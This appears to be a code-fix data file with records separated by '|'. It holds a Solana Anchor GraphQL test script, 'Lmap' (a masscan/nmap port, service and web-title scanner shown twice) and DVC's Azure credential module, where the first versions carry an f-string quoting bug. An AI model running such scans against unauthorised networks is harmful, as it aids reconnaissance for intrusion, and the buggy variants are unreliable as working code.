completed_process_result = subprocess.run(
"npm run prod", shell=True)
if completed_process_result.returncode != 0:
print(
f'{bcolors.FAIL}ERROR: Failed to generate Apollo GraphQL project for project: {project_name}{bcolors.ENDC}')
return False
print(f'{bcolors.OKGREEN}DONE: Project creation successful for project: {project_name}{bcolors.ENDC}')
server_directory = "./src/server"
new_process = subprocess.run(
"npm start", cwd=server_directory, shell=True)
if new_process.returncode != 0:
print(
f'{bcolors.FAIL}ERROR: Failed to start newly generated Apollo GraphQL server for project: {project_name}{bcolors.ENDC}')
return False
print(f'{bcolors.OKGREEN}DONE: Project startup successful for project: {project_name}{bcolors.ENDC}')
return True
def create_project_config(path, content):
with open(path, 'w') as f:
f.write(json.dumps(content))
return
async def check_and_replace_with_new_idl(program_id, idl_path, anchor_provider_url):
try:
client = AsyncClient(anchor_provider_url)
provider = Provider(client, Wallet.local())
program_id = PublicKey(program_id)
idl = await Program.fetch_raw_idl(
program_id, provider
)
except:
await client.close()
return
if idl is not None:
with open(idl_path, 'w') as file:
json.dump(idl, file)
await client.close()
return
def main():
# On Windows, if an error happens where the channels file isn't found, you probably opened the project
# from the wrong directory. Either try reopening the project from the correct directory or play with the
# line below.
# os.chdir('./anchorgql')
config = json.load(open('channels.json'))
channels_config = config['channels']
results = []
for channel in channels_config:
project_name = channel['PROJECT_NAME']
program_id = channel['PROGRAM_ID']
anchor_provider_url = channel['ANCHOR_PROVIDER_URL']
idl_path = channel['IDL_PATH']
asyncio.run(check_and_replace_with_new_idl(
program_id, idl_path, anchor_provider_url))
content = {
"projectName": project_name,
"protocol": channel["PROTOCOL"],
"network": channel["NETWORK"],
"programID": program_id,
"anchorProviderURL": anchor_provider_url,
"idlPath": idl_path,
"anchorVersion": config['anchorVersion'],
"idl": config['idl'],
"port": config['port'],
"packageJsonTemplateFile": config['packageJsonTemplateFile'],
"indexTemplateFile": config['indexTemplateFile'],
"typeDefTemplateFile": config['typeDefTemplateFile'],
"configFile": config['configFile'],
"testMode": config["testMode"],
"prdMode": config["prdMode"]
}
create_project_config('./src/config.json', content)
passed = build_and_start_server(project_name, config["prdMode"])
results.append({
"projectName": project_name,
"passed": passed
})
print()
print("===================================================")
print("===================================================")
print("===================================================")
print()
print(f'{bcolors.OKBLUE}INFO: Test results:{bcolors.ENDC}')
for result in results:
if result['passed']:
print(
f'{bcolors.OKGREEN}{result["projectName"]}: Passed{bcolors.ENDC}')
else:
print(
f'{bcolors.FAIL}{result["projectName"]}: Failed{bcolors.ENDC}')
print()
print("===================================================")
print("=================== End of Run ====================")
print("===================================================")
if __name__ == '__main__':
main()
|
from ipaddress import ip_address,ip_network
import asyncio
import re
from lxml import etree
import argparse
import json
from configparser import ConfigParser
from pathlib import Path
import sys
from rich.progress import Progress
from rich.console import Console
from httpx import AsyncClient
from prettytable import PrettyTable
console = Console()
def banner():
console.print('Lmap V2.0 By Lion', style='bold cyan', justify='center')
console.print('A tool combined with the advantages of masscan and nmap', style='bold cyan', justify='center')
console.print('Enjoy~', style='bold cyan', justify='center')
def create_ini(masscan_path, nmap_path):
config = ConfigParser()
config['Masscan'] = {'path': masscan_path, 'rate': '500', 'ConcurrentLimit': '3', 'PortGap': '11000', 'IpGap': '10',
'waf-threshold': '50'}
config['Nmap'] = {'path': nmap_path, 'ConcurrentLimit': '10'}
config['Httpx'] = {'ConcurrentLimit': '100'}
configfile = (Path(sys.argv[0]).parent / 'config.ini')
config.write(configfile.open('w+', encoding='utf-8'))
def split_ip(ips):
ip_list = []
if (',' in ips):
ip_list = ips.split(',')
elif ('/' in ips):
net = ip_network(ips)
for ip in zip(net):
ip_list.append(str(ip[0]))
elif ('-' in ips):
start_ip,end_ip = ips.split('-')
start_ip = ip_address(start_ip)
end_ip = ip_address(end_ip)
while start_ip <= end_ip:
ip_list.append(str(start_ip))
start_ip += 1
else:
ip_list.append(ips)
return ip_list
async def async_exec_cmd(cmd, sem=None):
if (sem != None):
async with sem:
proc = await asyncio.create_subprocess_shell(
cmd,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE)
stdout, stderr = await proc.communicate()
info = stdout.decode() if stdout else stderr.decode()
return info
else:
proc = await asyncio.create_subprocess_shell(
cmd,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE)
stdout, stderr = await proc.communicate()
info = stdout.decode() if stdout else stderr.decode()
return info
async def masscan(path, ips, ports, nmap_queue, sem, waf_threshold,httpx_queue):
cmd = f'{path} {ips} -p {ports} --rate {masscan_rate}'
info = await async_exec_cmd(cmd, sem)
re_obj1 = re.compile('Discovered open port \d+/')
re_obj2 = re.compile('on \d*.\d*.\d*.\d*')
port_list = [element[21:-1] for element in re_obj1.findall(info)]
ip_list = [element[3:] for element in re_obj2.findall(info)]
# 定义临时字典防止waf用
tmp_dict = {}
if (len(ip_list) >= 1):
for i in range(len(ip_list)):
ip = ip_list[i]
port = port_list[i]
print(f'\033[32m{port} on {ip} is open\033[0m')
# 放入临时字典里
if (ip not in tmp_dict.keys()):
tmp_dict[ip] = {}
if ('count' not in tmp_dict[ip].keys()):
tmp_dict[ip]['count'] = 0
tmp_dict[ip]['count'] += 1
if (tmp_dict[ip]['count'] > int(waf_threshold)):
waf_ip.append(ip)
if (len(ip_list) >= 1):
for i in range(len(ip_list)):
ip = ip_list[i]
port = port_list[i]
# 如果在有waf的ip列表里就忽略
if (ip in waf_ip):
continue
# 放入全局结果字典
if (ip not in result_dic.keys()):
result_dic[ip] = {}
if ('count' not in result_dic[ip].keys()):
result_dic[ip]['count'] = 0
result_dic[ip]['portlist'] = []
result_dic[ip]['count'] += 1
result_dic[ip]['portlist'].append({'port': port, 'service': '-', 'product': '-','title':'-'})
await nmap_queue.put({'ip': ip, 'port': port})
if (httpx_queue != None):
await httpx_queue.put({'ip': ip, 'port': port})
progress_bar.update(masscan_progress, advance=1)
# 通过生产者消费者模型,一旦扫描出开放端口就用nmap进行版本探测
async def nmap(path, nmap_queue, nmap_args='-sS -Pn -n'):
while True:
data = await nmap_queue.get()
ip = data['ip']
port = data['port']
xml_file = f'temp/{ip}:{port}.xml'
cmd = f'{path} {nmap_args} {ip} -p {port} -oX {xml_file}'
nmap_progress = progress_bar.add_task(f'[cyan]nmap service on {ip}:{port}')
try:
await asyncio.wait_for(async_exec_cmd(cmd), timeout=60)
root = etree.parse(xml_file)
state = root.xpath("//state/@state")[0]
service = root.xpath("//service/@name")
product = root.xpath("//service/@product")
if (state == 'open'):
if (service != []):
for port_data in result_dic[ip]['portlist']:
if (port_data['port'] == port):
port_data['service'] = service[0]
print(f'\033[32mservice on {ip}:{port} is {service[0]}\033[0m')
if (product != []):
port_data['product'] = product[0]
print(f'\033[32mproduct on {ip}:{port} is {product[0]}\033[0m')
except Exception:
pass
finally:
progress_bar.update(nmap_progress, completed=True, visible=False)
nmap_queue.task_done()
# 通过生产者消费者模型,一旦扫描出开放端口就尝试获取web标题
async def async_request_get(headers, httpx_queue,sem):
while True:
data = await httpx_queue.get()
ip = data['ip']
port = data['port']
title = '-'
async with AsyncClient(verify=False) as async_client:
# 限制并发量
async with sem:
try:
url = f'http://{ip}:{port}'
res = await async_client.get(url, headers=headers, timeout=5, follow_redirects=True)
if (res.status_code == 200):
html = etree.HTML(res.text, etree.HTMLParser())
if (len(html.xpath('//head/title/text()')) > 0):
title = html.xpath('//head/title/text()')[0]
except Exception:
pass
# 如果访问失败,使用https再次尝试
if (title == '-'):
try:
url = f'https://{ip}:{port}'
res = await async_client.get(url, headers=headers, timeout=5,follow_redirects=True)
if (res.status_code == 200):
html = etree.HTML(res.text, etree.HTMLParser())
if (len(html.xpath('//head/title/text()')) > 0):
title = html.xpath('//head/title/text()')[0]
except Exception:
pass
if (title != '-'):
print(f'\033[33mtitle on {url} is {title}\033[0m')
portlist = result_dic[ip]['portlist']
for port_data in portlist:
if (int(port_data['port']) == int(port)):
port_data['title'] = title
httpx_queue.task_done()
async def main():
# 读取输入
ip_list = []
if (file):
for line in open(file, 'r', encoding='utf-8'):
ip_list.append(line.strip('\n'))
else:
ip_list = split_ip(target)
start_port, end_port = [int(i) for i in port_range.split('-')]
# 初始化结果字典
global result_dic
result_dic = {}
global waf_ip
waf_ip = []
ports_list = []
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Mobile Safari/537.36 Edg/96.0.1054.43'
}
# 把端口分组
if (end_port - start_port >= masscan_port_gap):
for i in range((end_port - start_port) // masscan_port_gap):
ports_list.append(f'{start_port + i * masscan_port_gap}-{start_port + (i + 1) * masscan_port_gap - 1}')
ports_list.append(
(f'{start_port + ((end_port - start_port) // masscan_port_gap) * masscan_port_gap}-{end_port}'))
else:
ports_list.append(f'{start_port}-{end_port}')
# 把ip分组
ip_part_list = [ip_list[i:i + masscan_ip_gap] for i in range(0, len(ip_list), masscan_ip_gap)]
# 创建nmap消费者
nmap_queue = asyncio.Queue()
nmap_tasklist = []
for _ in range(nmap_concurrent_limit):
if (scan_version == True):
nmap_tasklist.append(
asyncio.create_task(nmap(path=nmap_path, nmap_queue=nmap_queue, nmap_args='-sV -Pn -n')))
if (scan_version == False):
nmap_tasklist.append(
asyncio.create_task(nmap(path=nmap_path, nmap_queue=nmap_queue, nmap_args='-sS -Pn -n')))
if (scan_title):
# 创建httpx消费者
httpx_queue = asyncio.Queue()
httpx_sem = asyncio.Semaphore(int(httpx_concurrent_limit))
httpx_tasklist = []
httpx_tasklist.append(asyncio.create_task(async_request_get(headers=headers,httpx_queue=httpx_queue,sem=httpx_sem)))
# 创建masscan生产者
global masscan_progress
masscan_progress = progress_bar.add_task('[blue]masscan progressing...',
total=(len(ip_part_list) * len(ports_list)))
masscan_sem = asyncio.Semaphore(int(masscan_concurrent_limit))
masscan_tasklist = []
if (scan_title):
for ip_part in ip_part_list:
for ports in ports_list:
ips = ','.join(ip_part)
masscan_tasklist.append(
asyncio.create_task(masscan(path=masscan_path, ips=ips, ports=ports, nmap_queue=nmap_queue, sem=masscan_sem,
waf_threshold=waf_threshold,httpx_queue=httpx_queue)))
else:
for ip_part in ip_part_list:
for ports in ports_list:
ips = ','.join(ip_part)
masscan_tasklist.append(
asyncio.create_task(masscan(path=masscan_path, ips=ips, ports=ports, nmap_queue=nmap_queue, sem=masscan_sem,
waf_threshold=waf_threshold,httpx_queue=None)))
# 等待各队列结束
await asyncio.gather(*masscan_tasklist)
await nmap_queue.join()
if (scan_title):
await httpx_queue.join()
# 销毁nmap消费者
for nmap_task in nmap_tasklist:
nmap_task.cancel()
# 销毁httpx消费者
if (scan_title):
for httpx_task in httpx_tasklist:
httpx_task.cancel()
progress_bar.update(masscan_progress, completed=True, visible=False)
# 输出内容
if (output_url):
with open(output_url, 'a+', encoding='utf-8') as f:
for ip, data in result_dic.items():
for port_data in data['portlist']:
f.write(f"http://{ip}:{port_data["port"]}\n")
if (output_json):
with open(output_json, 'w+', encoding='utf-8') as f:
json.dump(result_dic, f, sort_keys=True, indent=4, separators=(',', ':'))
# 生成表格
table = PrettyTable(['IP', 'Port', 'Service', 'Product','Title'])
for ip, data in result_dic.items():
for port_data in data['portlist']:
table.add_row([ip, port_data['port'], port_data['service'], port_data['product'],port_data['title']])
print(table)
if __name__ == '__main__':
banner()
# 初始化配置文件和临时文件夹
configfile = Path(sys.argv[0]).parent / 'config.ini'
if (configfile.exists() == False):
masscan_path = input('please input masscan path\n')
nmap_path = input('please input nmap path\n')
create_ini(masscan_path, nmap_path)
temp_file = Path(sys.argv[0]).parent / 'temp'
if (temp_file.exists() == False):
temp_file.mkdir()
config = ConfigParser()
config.read_file(configfile.open('r', encoding='utf-8'))
masscan_path = config['Masscan']['path']
nmap_path = config['Nmap']['path']
waf_threshold = config['Masscan']['waf-threshold']
masscan_rate = config['Masscan']['rate']
masscan_concurrent_limit = int(config['Masscan']['ConcurrentLimit'])
masscan_port_gap = int(config['Masscan']['PortGap'])
masscan_ip_gap = int(config['Masscan']['IpGap'])
nmap_concurrent_limit = int(config['Nmap']['ConcurrentLimit'])
httpx_concurrent_limit = int(config['Httpx']['ConcurrentLimit'])
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='please input ips like 192.168.0.1,192.168.0.2 or 192.168.0.1/24 or 1.1.1.1-2.2.2.2')
parser.add_argument('-p', '--port', help='please input ports like 1-65535', required=True)
parser.add_argument('-f', '--file', help='pleases input your file')
parser.add_argument('-oj', '--output-json', help='please input output json file', default=None)
parser.add_argument('-ou', '--output-url', help='please input output url file', default=None)
parser.add_argument('-sv', '--scan-version', help='please input whether use sv mode,True or False', type=bool,
default=False)
parser.add_argument('-st', '--scan-title', help='please input whether scan title,True or False', type=bool,
default=True)
args = parser.parse_args()
target = args.target
file = args.file
port_range = args.port
output_json = args.output_json
output_url = args.output_url
scan_version = args.scan_version
scan_title = args.scan_title
with Progress() as progress_bar:
asyncio.run(main())
| from ipaddress import ip_address,ip_network
import asyncio
import re
from lxml import etree
import argparse
import json
from configparser import ConfigParser
from pathlib import Path
import sys
from rich.progress import Progress
from rich.console import Console
from httpx import AsyncClient
from prettytable import PrettyTable
console = Console()
def banner():
console.print('Lmap V2.0 By Lion', style='bold cyan', justify='center')
console.print('A tool combined with the advantages of masscan and nmap', style='bold cyan', justify='center')
console.print('Enjoy~', style='bold cyan', justify='center')
def create_ini(masscan_path, nmap_path):
config = ConfigParser()
config['Masscan'] = {'path': masscan_path, 'rate': '500', 'ConcurrentLimit': '3', 'PortGap': '11000', 'IpGap': '10',
'waf-threshold': '50'}
config['Nmap'] = {'path': nmap_path, 'ConcurrentLimit': '10'}
config['Httpx'] = {'ConcurrentLimit': '100'}
configfile = (Path(sys.argv[0]).parent / 'config.ini')
config.write(configfile.open('w+', encoding='utf-8'))
def split_ip(ips):
ip_list = []
if (',' in ips):
ip_list = ips.split(',')
elif ('/' in ips):
net = ip_network(ips)
for ip in zip(net):
ip_list.append(str(ip[0]))
elif ('-' in ips):
start_ip,end_ip = ips.split('-')
start_ip = ip_address(start_ip)
end_ip = ip_address(end_ip)
while start_ip <= end_ip:
ip_list.append(str(start_ip))
start_ip += 1
else:
ip_list.append(ips)
return ip_list
async def async_exec_cmd(cmd, sem=None):
if (sem != None):
async with sem:
proc = await asyncio.create_subprocess_shell(
cmd,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE)
stdout, stderr = await proc.communicate()
info = stdout.decode() if stdout else stderr.decode()
return info
else:
proc = await asyncio.create_subprocess_shell(
cmd,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE)
stdout, stderr = await proc.communicate()
info = stdout.decode() if stdout else stderr.decode()
return info
async def masscan(path, ips, ports, nmap_queue, sem, waf_threshold,httpx_queue):
cmd = f'{path} {ips} -p {ports} --rate {masscan_rate}'
info = await async_exec_cmd(cmd, sem)
re_obj1 = re.compile('Discovered open port \d+/')
re_obj2 = re.compile('on \d*.\d*.\d*.\d*')
port_list = [element[21:-1] for element in re_obj1.findall(info)]
ip_list = [element[3:] for element in re_obj2.findall(info)]
# 定义临时字典防止waf用
tmp_dict = {}
if (len(ip_list) >= 1):
for i in range(len(ip_list)):
ip = ip_list[i]
port = port_list[i]
print(f'\033[32m{port} on {ip} is open\033[0m')
# 放入临时字典里
if (ip not in tmp_dict.keys()):
tmp_dict[ip] = {}
if ('count' not in tmp_dict[ip].keys()):
tmp_dict[ip]['count'] = 0
tmp_dict[ip]['count'] += 1
if (tmp_dict[ip]['count'] > int(waf_threshold)):
waf_ip.append(ip)
if (len(ip_list) >= 1):
for i in range(len(ip_list)):
ip = ip_list[i]
port = port_list[i]
# 如果在有waf的ip列表里就忽略
if (ip in waf_ip):
continue
# 放入全局结果字典
if (ip not in result_dic.keys()):
result_dic[ip] = {}
if ('count' not in result_dic[ip].keys()):
result_dic[ip]['count'] = 0
result_dic[ip]['portlist'] = []
result_dic[ip]['count'] += 1
result_dic[ip]['portlist'].append({'port': port, 'service': '-', 'product': '-','title':'-'})
await nmap_queue.put({'ip': ip, 'port': port})
if (httpx_queue != None):
await httpx_queue.put({'ip': ip, 'port': port})
progress_bar.update(masscan_progress, advance=1)
# 通过生产者消费者模型,一旦扫描出开放端口就用nmap进行版本探测
async def nmap(path, nmap_queue, nmap_args='-sS -Pn -n'):
while True:
data = await nmap_queue.get()
ip = data['ip']
port = data['port']
xml_file = f'temp/{ip}:{port}.xml'
cmd = f'{path} {nmap_args} {ip} -p {port} -oX {xml_file}'
nmap_progress = progress_bar.add_task(f'[cyan]nmap service on {ip}:{port}')
try:
await asyncio.wait_for(async_exec_cmd(cmd), timeout=60)
root = etree.parse(xml_file)
state = root.xpath("//state/@state")[0]
service = root.xpath("//service/@name")
product = root.xpath("//service/@product")
if (state == 'open'):
if (service != []):
for port_data in result_dic[ip]['portlist']:
if (port_data['port'] == port):
port_data['service'] = service[0]
print(f'\033[32mservice on {ip}:{port} is {service[0]}\033[0m')
if (product != []):
port_data['product'] = product[0]
print(f'\033[32mproduct on {ip}:{port} is {product[0]}\033[0m')
except Exception:
pass
finally:
progress_bar.update(nmap_progress, completed=True, visible=False)
nmap_queue.task_done()
# 通过生产者消费者模型,一旦扫描出开放端口就尝试获取web标题
async def async_request_get(headers, httpx_queue,sem):
while True:
data = await httpx_queue.get()
ip = data['ip']
port = data['port']
title = '-'
async with AsyncClient(verify=False) as async_client:
# 限制并发量
async with sem:
try:
url = f'http://{ip}:{port}'
res = await async_client.get(url, headers=headers, timeout=5, follow_redirects=True)
if (res.status_code == 200):
html = etree.HTML(res.text, etree.HTMLParser())
if (len(html.xpath('//head/title/text()')) > 0):
title = html.xpath('//head/title/text()')[0]
except Exception:
pass
# 如果访问失败,使用https再次尝试
if (title == '-'):
try:
url = f'https://{ip}:{port}'
res = await async_client.get(url, headers=headers, timeout=5,follow_redirects=True)
if (res.status_code == 200):
html = etree.HTML(res.text, etree.HTMLParser())
if (len(html.xpath('//head/title/text()')) > 0):
title = html.xpath('//head/title/text()')[0]
except Exception:
pass
if (title != '-'):
print(f'\033[33mtitle on {url} is {title}\033[0m')
portlist = result_dic[ip]['portlist']
for port_data in portlist:
if (int(port_data['port']) == int(port)):
port_data['title'] = title
httpx_queue.task_done()
async def main():
# 读取输入
ip_list = []
if (file):
for line in open(file, 'r', encoding='utf-8'):
ip_list.append(line.strip('\n'))
else:
ip_list = split_ip(target)
start_port, end_port = [int(i) for i in port_range.split('-')]
# 初始化结果字典
global result_dic
result_dic = {}
global waf_ip
waf_ip = []
ports_list = []
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Mobile Safari/537.36 Edg/96.0.1054.43'
}
# 把端口分组
if (end_port - start_port >= masscan_port_gap):
for i in range((end_port - start_port) // masscan_port_gap):
ports_list.append(f'{start_port + i * masscan_port_gap}-{start_port + (i + 1) * masscan_port_gap - 1}')
ports_list.append(
(f'{start_port + ((end_port - start_port) // masscan_port_gap) * masscan_port_gap}-{end_port}'))
else:
ports_list.append(f'{start_port}-{end_port}')
# 把ip分组
ip_part_list = [ip_list[i:i + masscan_ip_gap] for i in range(0, len(ip_list), masscan_ip_gap)]
# 创建nmap消费者
nmap_queue = asyncio.Queue()
nmap_tasklist = []
for _ in range(nmap_concurrent_limit):
if (scan_version == True):
nmap_tasklist.append(
asyncio.create_task(nmap(path=nmap_path, nmap_queue=nmap_queue, nmap_args='-sV -Pn -n')))
if (scan_version == False):
nmap_tasklist.append(
asyncio.create_task(nmap(path=nmap_path, nmap_queue=nmap_queue, nmap_args='-sS -Pn -n')))
if (scan_title):
# 创建httpx消费者
httpx_queue = asyncio.Queue()
httpx_sem = asyncio.Semaphore(int(httpx_concurrent_limit))
httpx_tasklist = []
httpx_tasklist.append(asyncio.create_task(async_request_get(headers=headers,httpx_queue=httpx_queue,sem=httpx_sem)))
# 创建masscan生产者
global masscan_progress
masscan_progress = progress_bar.add_task('[blue]masscan progressing...',
total=(len(ip_part_list) * len(ports_list)))
masscan_sem = asyncio.Semaphore(int(masscan_concurrent_limit))
masscan_tasklist = []
if (scan_title):
for ip_part in ip_part_list:
for ports in ports_list:
ips = ','.join(ip_part)
masscan_tasklist.append(
asyncio.create_task(masscan(path=masscan_path, ips=ips, ports=ports, nmap_queue=nmap_queue, sem=masscan_sem,
waf_threshold=waf_threshold,httpx_queue=httpx_queue)))
else:
for ip_part in ip_part_list:
for ports in ports_list:
ips = ','.join(ip_part)
masscan_tasklist.append(
asyncio.create_task(masscan(path=masscan_path, ips=ips, ports=ports, nmap_queue=nmap_queue, sem=masscan_sem,
waf_threshold=waf_threshold,httpx_queue=None)))
# 等待各队列结束
await asyncio.gather(*masscan_tasklist)
await nmap_queue.join()
if (scan_title):
await httpx_queue.join()
# 销毁nmap消费者
for nmap_task in nmap_tasklist:
nmap_task.cancel()
# 销毁httpx消费者
if (scan_title):
for httpx_task in httpx_tasklist:
httpx_task.cancel()
progress_bar.update(masscan_progress, completed=True, visible=False)
# 输出内容
if (output_url):
with open(output_url, 'a+', encoding='utf-8') as f:
for ip, data in result_dic.items():
for port_data in data['portlist']:
f.write(f"http://{ip}:{port_data['port']}\n")
if (output_json):
with open(output_json, 'w+', encoding='utf-8') as f:
json.dump(result_dic, f, sort_keys=True, indent=4, separators=(',', ':'))
# 生成表格
table = PrettyTable(['IP', 'Port', 'Service', 'Product','Title'])
for ip, data in result_dic.items():
for port_data in data['portlist']:
table.add_row([ip, port_data['port'], port_data['service'], port_data['product'],port_data['title']])
print(table)
if __name__ == '__main__':
banner()
# 初始化配置文件和临时文件夹
configfile = Path(sys.argv[0]).parent / 'config.ini'
if (configfile.exists() == False):
masscan_path = input('please input masscan path\n')
nmap_path = input('please input nmap path\n')
create_ini(masscan_path, nmap_path)
temp_file = Path(sys.argv[0]).parent / 'temp'
if (temp_file.exists() == False):
temp_file.mkdir()
config = ConfigParser()
config.read_file(configfile.open('r', encoding='utf-8'))
masscan_path = config['Masscan']['path']
nmap_path = config['Nmap']['path']
waf_threshold = config['Masscan']['waf-threshold']
masscan_rate = config['Masscan']['rate']
masscan_concurrent_limit = int(config['Masscan']['ConcurrentLimit'])
masscan_port_gap = int(config['Masscan']['PortGap'])
masscan_ip_gap = int(config['Masscan']['IpGap'])
nmap_concurrent_limit = int(config['Nmap']['ConcurrentLimit'])
httpx_concurrent_limit = int(config['Httpx']['ConcurrentLimit'])
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='please input ips like 192.168.0.1,192.168.0.2 or 192.168.0.1/24 or 1.1.1.1-2.2.2.2')
parser.add_argument('-p', '--port', help='please input ports like 1-65535', required=True)
parser.add_argument('-f', '--file', help='pleases input your file')
parser.add_argument('-oj', '--output-json', help='please input output json file', default=None)
parser.add_argument('-ou', '--output-url', help='please input output url file', default=None)
parser.add_argument('-sv', '--scan-version', help='please input whether use sv mode,True or False', type=bool,
default=False)
parser.add_argument('-st', '--scan-title', help='please input whether scan title,True or False', type=bool,
default=True)
args = parser.parse_args()
target = args.target
file = args.file
port_range = args.port
output_json = args.output_json
output_url = args.output_url
scan_version = args.scan_version
scan_title = args.scan_title
with Progress() as progress_bar:
asyncio.run(main())
|
import logging
import os
import threading
from fsspec.asyn import fsspec_loop
from fsspec.utils import infer_storage_options
from funcy import cached_property, memoize, wrap_prop
from dvc.exceptions import DvcException
from dvc.path_info import CloudURLInfo
from dvc.scheme import Schemes
from dvc.utils import format_link
from .fsspec_wrapper import ObjectFSWrapper
logger = logging.getLogger(__name__)
_DEFAULT_CREDS_STEPS = (
"https://azuresdkdocs.blob.core.windows.net/$web/python/"
"azure-identity/1.4.0/azure.identity.html#azure.identity"
".DefaultAzureCredential"
)
class AzureAuthError(DvcException):
pass
@memoize
def _az_config():
# NOTE: ideally we would've used get_default_cli().config from
# azure.cli.core, but azure-cli-core has a lot of conflicts with other
# dependencies. So instead we are just use knack directly
from knack.config import CLIConfig
config_dir = os.getenv(
"AZURE_CONFIG_DIR", os.path.expanduser(os.path.join("~", ".azure"))
)
return CLIConfig(config_dir=config_dir, config_env_var_prefix="AZURE")
# pylint:disable=abstract-method
class AzureFileSystem(ObjectFSWrapper):
scheme = Schemes.AZURE
PATH_CLS = CloudURLInfo
PARAM_CHECKSUM = "etag"
DETAIL_FIELDS = frozenset(("etag", "size"))
REQUIRES = {
"adlfs": "adlfs",
"knack": "knack",
"azure-identity": "azure.identity",
}
@classmethod
def _strip_protocol(cls, path: str):
bucket = infer_storage_options(path).get("host")
if bucket:
return path
bucket = _az_config().get("storage", "container_name", None)
return f"azure://{bucket}"
@staticmethod
def _get_kwargs_from_urls(urlpath):
ops = infer_storage_options(urlpath)
if "host" in ops:
return {"bucket": ops["host"]}
return {}
def _prepare_credentials(self, **config):
from azure.identity.aio import DefaultAzureCredential
# Disable spam from failed cred types for DefaultAzureCredential
logging.getLogger("azure.identity.aio").setLevel(logging.ERROR)
login_info = {}
login_info["connection_string"] = config.get(
"connection_string",
_az_config().get("storage", "connection_string", None),
)
login_info["account_name"] = config.get(
"account_name", _az_config().get("storage", "account", None)
)
login_info["account_key"] = config.get(
"account_key", _az_config().get("storage", "key", None)
)
login_info["sas_token"] = config.get(
"sas_token", _az_config().get("storage", "sas_token", None)
)
login_info["tenant_id"] = config.get("tenant_id")
login_info["client_id"] = config.get("client_id")
login_info["client_secret"] = config.get("client_secret")
if not (login_info["account_name"] or login_info["connection_string"]):
raise AzureAuthError(
"Authentication to Azure Blob Storage requires either "
"account_name or connection_string.\nLearn more about "
"configuration settings at "
+ format_link("https://man.dvc.org/remote/modify")
)
any_secondary = any(
value for key, value in login_info.items() if key != "account_name"
)
if (
login_info["account_name"]
and not any_secondary
and not config.get("allow_anonymous_login", False)
):
with fsspec_loop():
login_info["credential"] = DefaultAzureCredential(
exclude_interactive_browser_credential=False
)
for login_method, required_keys in [ # noqa
("connection string", ["connection_string"]),
(
"AD service principal",
["tenant_id", "client_id", "client_secret"],
),
("account key", ["account_name", "account_key"]),
("SAS token", ["account_name", "sas_token"]),
(
f"default credentials ({_DEFAULT_CREDS_STEPS})",
["account_name", "credential"],
),
("anonymous login", ["account_name"]),
]:
if all(login_info.get(key) is not None for key in required_keys):
break
else:
login_method = None
self.login_method = login_method
return login_info
@wrap_prop(threading.Lock())
@cached_property
def fs(self):
from adlfs import AzureBlobFileSystem
from azure.core.exceptions import AzureError
try:
return AzureBlobFileSystem(**self.fs_args)
except (ValueError, AzureError) as e:
raise AzureAuthError(
f"Authentication to Azure Blob Storage via {self.login_method}"
" failed.\nLearn more about configuration settings at"
f" {format_link("https://man.dvc.org/remote/modify")}"
) from e
| import logging
import os
import threading
from fsspec.asyn import fsspec_loop
from fsspec.utils import infer_storage_options
from funcy import cached_property, memoize, wrap_prop
from dvc.exceptions import DvcException
from dvc.path_info import CloudURLInfo
from dvc.scheme import Schemes
from dvc.utils import format_link
from .fsspec_wrapper import ObjectFSWrapper
logger = logging.getLogger(__name__)
_DEFAULT_CREDS_STEPS = (
"https://azuresdkdocs.blob.core.windows.net/$web/python/"
"azure-identity/1.4.0/azure.identity.html#azure.identity"
".DefaultAzureCredential"
)
class AzureAuthError(DvcException):
pass
@memoize
def _az_config():
# NOTE: ideally we would've used get_default_cli().config from
# azure.cli.core, but azure-cli-core has a lot of conflicts with other
# dependencies. So instead we are just use knack directly
from knack.config import CLIConfig
config_dir = os.getenv(
"AZURE_CONFIG_DIR", os.path.expanduser(os.path.join("~", ".azure"))
)
return CLIConfig(config_dir=config_dir, config_env_var_prefix="AZURE")
# pylint:disable=abstract-method
class AzureFileSystem(ObjectFSWrapper):
scheme = Schemes.AZURE
PATH_CLS = CloudURLInfo
PARAM_CHECKSUM = "etag"
DETAIL_FIELDS = frozenset(("etag", "size"))
REQUIRES = {
"adlfs": "adlfs",
"knack": "knack",
"azure-identity": "azure.identity",
}
@classmethod
def _strip_protocol(cls, path: str):
bucket = infer_storage_options(path).get("host")
if bucket:
return path
bucket = _az_config().get("storage", "container_name", None)
return f"azure://{bucket}"
@staticmethod
def _get_kwargs_from_urls(urlpath):
ops = infer_storage_options(urlpath)
if "host" in ops:
return {"bucket": ops["host"]}
return {}
def _prepare_credentials(self, **config):
from azure.identity.aio import DefaultAzureCredential
# Disable spam from failed cred types for DefaultAzureCredential
logging.getLogger("azure.identity.aio").setLevel(logging.ERROR)
login_info = {}
login_info["connection_string"] = config.get(
"connection_string",
_az_config().get("storage", "connection_string", None),
)
login_info["account_name"] = config.get(
"account_name", _az_config().get("storage", "account", None)
)
login_info["account_key"] = config.get(
"account_key", _az_config().get("storage", "key", None)
)
login_info["sas_token"] = config.get(
"sas_token", _az_config().get("storage", "sas_token", None)
)
login_info["tenant_id"] = config.get("tenant_id")
login_info["client_id"] = config.get("client_id")
login_info["client_secret"] = config.get("client_secret")
if not (login_info["account_name"] or login_info["connection_string"]):
raise AzureAuthError(
"Authentication to Azure Blob Storage requires either "
"account_name or connection_string.\nLearn more about "
"configuration settings at "
+ format_link("https://man.dvc.org/remote/modify")
)
any_secondary = any(
value for key, value in login_info.items() if key != "account_name"
)
if (
login_info["account_name"]
and not any_secondary
and not config.get("allow_anonymous_login", False)
):
with fsspec_loop():
login_info["credential"] = DefaultAzureCredential(
exclude_interactive_browser_credential=False
)
for login_method, required_keys in [ # noqa
("connection string", ["connection_string"]),
(
"AD service principal",
["tenant_id", "client_id", "client_secret"],
),
("account key", ["account_name", "account_key"]),
("SAS token", ["account_name", "sas_token"]),
(
f"default credentials ({_DEFAULT_CREDS_STEPS})",
["account_name", "credential"],
),
("anonymous login", ["account_name"]),
